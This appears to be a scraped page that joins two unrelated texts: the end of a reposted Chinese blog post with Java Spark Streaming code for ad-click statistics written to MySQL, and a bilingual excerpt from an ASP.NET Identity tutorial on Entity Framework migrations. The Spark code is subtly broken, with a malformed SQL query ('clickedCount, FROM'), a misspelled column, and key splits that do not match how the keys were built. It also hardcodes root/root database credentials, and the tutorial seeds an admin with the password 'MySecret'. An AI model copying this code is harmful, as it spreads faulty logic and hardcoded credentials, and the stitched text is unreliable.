Long>(clickedRecord, 1L);} }).updateStateByKey(new Function2<List<Long>, Optional<Long>, Optional<Long>>() {public Optional<Long> call(List<Long> v1, Optional<Long> v2)throws Exception {// v1:当前的Key在当前的Batch Duration中出现的次数的集合,例如{1,1,1,。。。,1}// v2:当前的Key在以前的Batch Duration中积累下来的结果;Long clickedTotalHistory = 0L; if(v2.isPresent()){clickedTotalHistory = v2.get();}for(Long one : v1) {clickedTotalHistory += one;}return Optional.of(clickedTotalHistory);} });updateStateByKeyDSteam.foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition) throws Exception {//使用数据库连接池的高效读写数据库的方式将数据写入数据库mysql//例如一次插入 1000条 records,使用insertBatch 或 updateBatch//插入的用户数据信息:timestamp、adID、province、city//这里面有一个问题,可能出现两条记录的key是一样的,此时需要更新累加操作List<AdClicked> AdClickedList = new ArrayList<AdClicked>();while(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("\t");AdClicked adClicked = new AdClicked();adClicked.setTimestamp(splited[0]);adClicked.setAdID(splited[1]);adClicked.setProvince(splited[2]);adClicked.setCity(splited[3]);adClicked.setClickedCount(record._2);AdClickedList.add(adClicked);}final List<AdClicked> inserting = new ArrayList<AdClicked>();final List<AdClicked> updating = new ArrayList<AdClicked>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final AdClicked clicked : AdClickedList) {jdbcWrapper.doQuery("SELECT clickedCount FROM adclickedcount WHERE"+ " timestamp = ? AND adID = ? AND province = ? AND city = ?",new Object[]{clicked.getTimestamp(), clicked.getAdID(),clicked.getProvince(), clicked.getCity()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);clicked.setClickedCount(count);updating.add(clicked);} else {inserting.add(clicked);clicked.setClickedCount(1L);} }});}//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdClicked insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.getTimestamp(),insertRecord.getAdID(),insertRecord.getProvince(),insertRecord.getCity(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclickedcount VALUES(?, ?, ?, ?, ?)", insertParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(AdClicked updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getClickedCount(),updateRecord.getTimestamp(),updateRecord.getAdID(),updateRecord.getProvince(),updateRecord.getCity()});}jdbcWrapper.doBatch("UPDATE adclickedcount SET clickedCount = ? WHERE"+ " timestamp =? AND adID = ? AND province = ? AND city = ?", updateParametersList);} });return null;} });/ 对广告点击进行TopN计算,计算出每天每个省份Top5排名的广告 因为我们直接对RDD进行操作,所以使用了transfomr算子;/updateStateByKeyDSteam.transform(new Function<JavaPairRDD<String,Long>, JavaRDD<Row>>() {public JavaRDD<Row> call(JavaPairRDD<String, Long> rdd) throws Exception {JavaRDD<Row> rowRDD = rdd.mapToPair(new PairFunction<Tuple2<String,Long>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, Long> t)throws Exception {// TODO Auto-generated method stubString[] splited=t._1.split("_");String timestamp = splited[0]; //YYYY-MM-DDString adID = splited[3];String province = splited[4];String clickedRecord = timestamp + "_" + adID + "_" + province;return new Tuple2<String, Long>(clickedRecord, t._2);} }).reduceByKey(new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 + v2;} }).map(new Function<Tuple2<String,Long>, Row>() {public Row call(Tuple2<String, Long> v1) throws Exception {// TODO Auto-generated method stubString[] splited=v1._1.split("_");String timestamp = splited[0]; //YYYY-MM-DDString adID = splited[3];String province = splited[4];return RowFactory.create(timestamp, adID, province, v1._2);} });StructType structType = DataTypes.createStructType(Arrays.asList(DataTypes.createStructField("timestamp", DataTypes.StringType, true),DataTypes.createStructField("adID", DataTypes.StringType, true),DataTypes.createStructField("province", DataTypes.StringType, true),DataTypes.createStructField("clickedCount", DataTypes.LongType, true)));HiveContext hiveContext = new HiveContext(rdd.context());DataFrame df = hiveContext.createDataFrame(rowRDD, structType);df.registerTempTable("topNTableSource");DataFrame result = hiveContext.sql("SELECT timestamp, adID, province, clickedCount, FROM"+ " (SELECT timestamp, adID, province,clickedCount, "+ "ROW_NUMBER() OVER(PARTITION BY province ORDER BY clickeCount DESC) rank "+ "FROM topNTableSource) subquery "+ "WHERE rank <= 5");return result.toJavaRDD();} }).foreachRDD(new Function<JavaRDD<Row>, Void>() {public Void call(JavaRDD<Row> rdd) throws Exception {// TODO Auto-generated method stubrdd.foreachPartition(new VoidFunction<Iterator<Row>>() {public void call(Iterator<Row> t) throws Exception {// TODO Auto-generated method stubList<AdProvinceTopN> adProvinceTopN = new ArrayList<AdProvinceTopN>();while(t.hasNext()) {Row row = t.next();AdProvinceTopN item = new AdProvinceTopN();item.setTimestamp(row.getString(0));item.setAdID(row.getString(1));item.setProvince(row.getString(2));item.setClickedCount(row.getLong(3));adProvinceTopN.add(item);}// final List<AdProvinceTopN> inserting = new ArrayList<AdProvinceTopN>();// final List<AdProvinceTopN> updating = new ArrayList<AdProvinceTopN>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();Set<String> set = new HashSet<String>();for(AdProvinceTopN item: adProvinceTopN){set.add(item.getTimestamp() + "_" + item.getProvince());}//表的字段timestamp、adID、province、clickedCountArrayList<Object[]> deleteParametersList = new ArrayList<Object[]>();for(String deleteRecord : set) {String[] splited = deleteRecord.split("_");deleteParametersList.add(new Object[]{splited[0],splited[1]});}jdbcWrapper.doBatch("DELETE FROM adprovincetopn WHERE timestamp = ? AND province = ?", deleteParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdProvinceTopN insertRecord : adProvinceTopN) {insertParametersList.add(new Object[] {insertRecord.getClickedCount(),insertRecord.getTimestamp(),insertRecord.getAdID(),insertRecord.getProvince()});}jdbcWrapper.doBatch("INSERT INTO adprovincetopn VALUES (?, ?, ?, ?)", insertParametersList);} });return null;} });/ 计算过去半个小时内广告点击的趋势 广告点击的基本数据格式:timestamp、ip、userID、adID、province、city/filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t)throws Exception {String splited[] = t._2.split("\t");String adID = splited[3];String time = splited[0]; //Todo:后续需要重构代码实现时间戳和分钟的转换提取。此处需要提取出该广告的点击分钟单位return new Tuple2<String, Long>(time + "_" + adID, 1L);} }).reduceByKeyAndWindow(new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 + v2;} }, new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 - v2;} }, Durations.minutes(30), Durations.milliseconds(5)).foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {// TODO Auto-generated method stubrdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition)throws Exception {List<AdTrendStat> adTrend = new ArrayList<AdTrendStat>();// TODO Auto-generated method stubwhile(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("_");String time = splited[0];String adID = splited[1];Long clickedCount = record._2;/ 在插入数据到数据库的时候具体需要哪些字段?time、adID、clickedCount; 而我们通过J2EE技术进行趋势绘图的时候肯定是需要年、月、日、时、分这个维度的,所以我们在这里需要 年月日、小时、分钟这些时间维度;/AdTrendStat adTrendStat = new AdTrendStat();adTrendStat.setAdID(adID);adTrendStat.setClickedCount(clickedCount);adTrendStat.set_date(time); //Todo:获取年月日adTrendStat.set_hour(time); //Todo:获取小时adTrendStat.set_minute(time);//Todo:获取分钟adTrend.add(adTrendStat);}final List<AdTrendStat> inserting = new ArrayList<AdTrendStat>();final List<AdTrendStat> updating = new ArrayList<AdTrendStat>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final AdTrendStat trend : adTrend) {final AdTrendCountHistory adTrendhistory = new AdTrendCountHistory();jdbcWrapper.doQuery("SELECT clickedCount FROM adclickedtrend WHERE"+ " date =? AND hour = ? AND minute = ? AND AdID = ?",new Object[]{trend.get_date(), trend.get_hour(), trend.get_minute(),trend.getAdID()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);adTrendhistory.setClickedCountHistoryLong(count);updating.add(trend);} else { inserting.add(trend);} }});}//表的字段date、hour、minute、adID、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdTrendStat insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.get_date(),insertRecord.get_hour(),insertRecord.get_minute(),insertRecord.getAdID(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclickedtrend VALUES(?, ?, ?, ?, ?)", insertParametersList);//表的字段date、hour、minute、adID、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(AdTrendStat updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getClickedCount(),updateRecord.get_date(),updateRecord.get_hour(),updateRecord.get_minute(),updateRecord.getAdID()});}jdbcWrapper.doBatch("UPDATE adclickedtrend SET clickedCount = ? WHERE"+ " date =? AND hour = ? AND minute = ? AND AdID = ?", updateParametersList);} });return null;} });;/ Spark Streaming 执行引擎也就是Driver开始运行,Driver启动的时候是位于一条新的线程中的,当然其内部有消息循环体,用于 接收应用程序本身或者Executor中的消息,/javassc.start();javassc.awaitTermination();javassc.close();}private static JavaStreamingContext createContext(String checkpointDirectory, SparkConf conf) {// If you do not see this printed, that means the StreamingContext has been loaded// from the new checkpointSystem.out.println("Creating new context");// Create the context with a 5 second batch sizeJavaStreamingContext ssc = new JavaStreamingContext(conf, Durations.seconds(10));ssc.checkpoint(checkpointDirectory);return ssc;} }class JDBCWrapper {private static JDBCWrapper jdbcInstance = null;private static LinkedBlockingQueue<Connection> dbConnectionPool = new LinkedBlockingQueue<Connection>();static {try {Class.forName("com.mysql.jdbc.Driver");} catch (ClassNotFoundException e) {// TODO Auto-generated catch blocke.printStackTrace();} }public static JDBCWrapper getJDBCInstance() {if(jdbcInstance == null) {synchronized (JDBCWrapper.class) {if(jdbcInstance == null) {jdbcInstance = new JDBCWrapper();} }}return jdbcInstance; }private JDBCWrapper() {for(int i = 0; i < 10; i++){try {Connection conn = DriverManager.getConnection("jdbc:mysql://Master:3306/sparkstreaming","root", "root");dbConnectionPool.put(conn);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();} } }public synchronized Connection getConnection() {while(0 == dbConnectionPool.size()){try {Thread.sleep(20);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }return dbConnectionPool.poll();}public int[] doBatch(String sqlText, List<Object[]> paramsList){Connection conn = getConnection();PreparedStatement preparedStatement = null;int[] result = null;try {conn.setAutoCommit(false);preparedStatement = conn.prepareStatement(sqlText);for(Object[] parameters: paramsList) {for(int i = 0; i < parameters.length; i++){preparedStatement.setObject(i + 1, parameters[i]);} preparedStatement.addBatch();}result = preparedStatement.executeBatch();conn.commit();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} finally {if(preparedStatement != null) {try {preparedStatement.close();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} }if(conn != null) {try {dbConnectionPool.put(conn);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }}return result; }public void doQuery(String sqlText, Object[] paramsList, ExecuteCallBack callback){Connection conn = getConnection();PreparedStatement preparedStatement = null;ResultSet result = null;try {preparedStatement = conn.prepareStatement(sqlText);for(int i = 0; i < paramsList.length; i++){preparedStatement.setObject(i + 1, paramsList[i]);} result = preparedStatement.executeQuery();try {callback.resultCallBack(result);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();} } catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} finally {if(preparedStatement != null) {try {preparedStatement.close();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} }if(conn != null) {try {dbConnectionPool.put(conn);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }} }}interface ExecuteCallBack {void resultCallBack(ResultSet result) throws Exception;}class UserAdClicked {private String timestamp;private String ip;private String userID;private String adID;private String province;private String city;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getIp() {return ip;}public void setIp(String ip) {this.ip = ip;}public String getUserID() {return userID;}public void setUserID(String userID) {this.userID = userID;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public String getCity() {return city;}public void setCity(String city) {this.city = city;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdClicked {private String timestamp;private String adID;private String province;private String city;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public String getCity() {return city;}public void setCity(String city) {this.city = city;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdProvinceTopN {private String timestamp;private String adID;private String province;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdTrendStat {private String _date;private String _hour;private String _minute;private String adID;private Long clickedCount;public String get_date() {return _date;}public void set_date(String _date) {this._date = _date;}public String get_hour() {return _hour;}public void set_hour(String _hour) {this._hour = _hour;}public String get_minute() {return _minute;}public void set_minute(String _minute) {this._minute = _minute;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdTrendCountHistory{private Long clickedCountHistoryLong;public Long getClickedCountHistoryLong() {return clickedCountHistoryLong;}public void setClickedCountHistoryLong(Long clickedCountHistoryLong) {this.clickedCountHistoryLong = clickedCountHistoryLong;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/tom_8899_li/article/details/71194434。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-14 19:16:35
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...ng System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性,它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中,传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图,它显示了City属性的值,并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告:创建了视图之后不要启动应用程序。在以下小节中,将演示如何保留数据库的内容,如果现在启动应用程序,将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是,一旦修改了派生数据库架构的类,便会删除数据库中的数据表,并重新创建它们。在第14章可以看到这种情况,在我添加角色支持时:当重启应用程序后,数据库被重置,用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序,但如果你这么做了,会看到类似的效果。在开发期间删除数据没什么问题,但如果在产品设置中这么做了,通常是灾难性的,因为它会删除所有真实的用户账号,而备份恢复是很痛苦的事。在本小节中,我打算演示如何使用数据库迁移特性,它能以比较温和的方式更新Code First的架构,并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console(包管理器控制台)”中发布以下命令: Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持,并在“Solution Explorer(解决方案资源管理器)”创建一个Migrations文件夹,其中含有一个Configuration.cs类文件,内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如,你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示:你可能会觉得奇怪,为什么要在管理NuGet包的控制台中输入数据库迁移的命令?答案是“Package Manager Console(包管理控制台)”是真正的PowerShell,这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令,详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构,Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到,我如何用Seed方法为新的City属性设置默认值,City是添加到AppUser类中自定义属性。(为了体现我一贯的编码风格,我对这个类文件也进行了更新。) Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到,添加到Seed方法中的许多代码取自于IdentityDbInit类,在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类,将代替IdentityDbInit类的种植功能,我很快便会更新这个类。除了要确保有admin用户之外,在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句,如下所示: ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法,可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告:在用于真实项目的Seed方法中为属性设置值时要小心,因为你每一次修改架构时,都会运用这些值,这会将自执行上一次架构更新之后,用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时,IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类,和你相像的一样,它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改,以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法,并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ,它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先,在“Package Manager Console(包管理器控制台)”中执行以下命令: Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移(我比较喜欢让迁移的名称反映出我所做的修改)。这会在文件夹中添加一个新的类文件,而且其命名会反映出该命令执行的时间以及迁移名称,例如,我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节,如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时,需要对架构所做的修改,在这个例子中,意味着要在AspNetUsers数据表中添加City数据列,该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序,只需在“Package Manager Console(包管理器控制台)”中运行以下命令即可: Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构,并执行Configuration.Seed方法中的代码。已有用户账号会被保留,且增强了City属性(我在Seed方法中已将其设置为“Paris”)。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果,启动应用程序,导航到/Home/UserProps URL,并以Identity中的用户(例如Alice,口令MySecret)进行认证。一旦已被认证,便会看到该用户City属性的当前值,并可以对其进行修改,如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在,已经建立了数据库迁移,我打算再定义一个属性,这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new 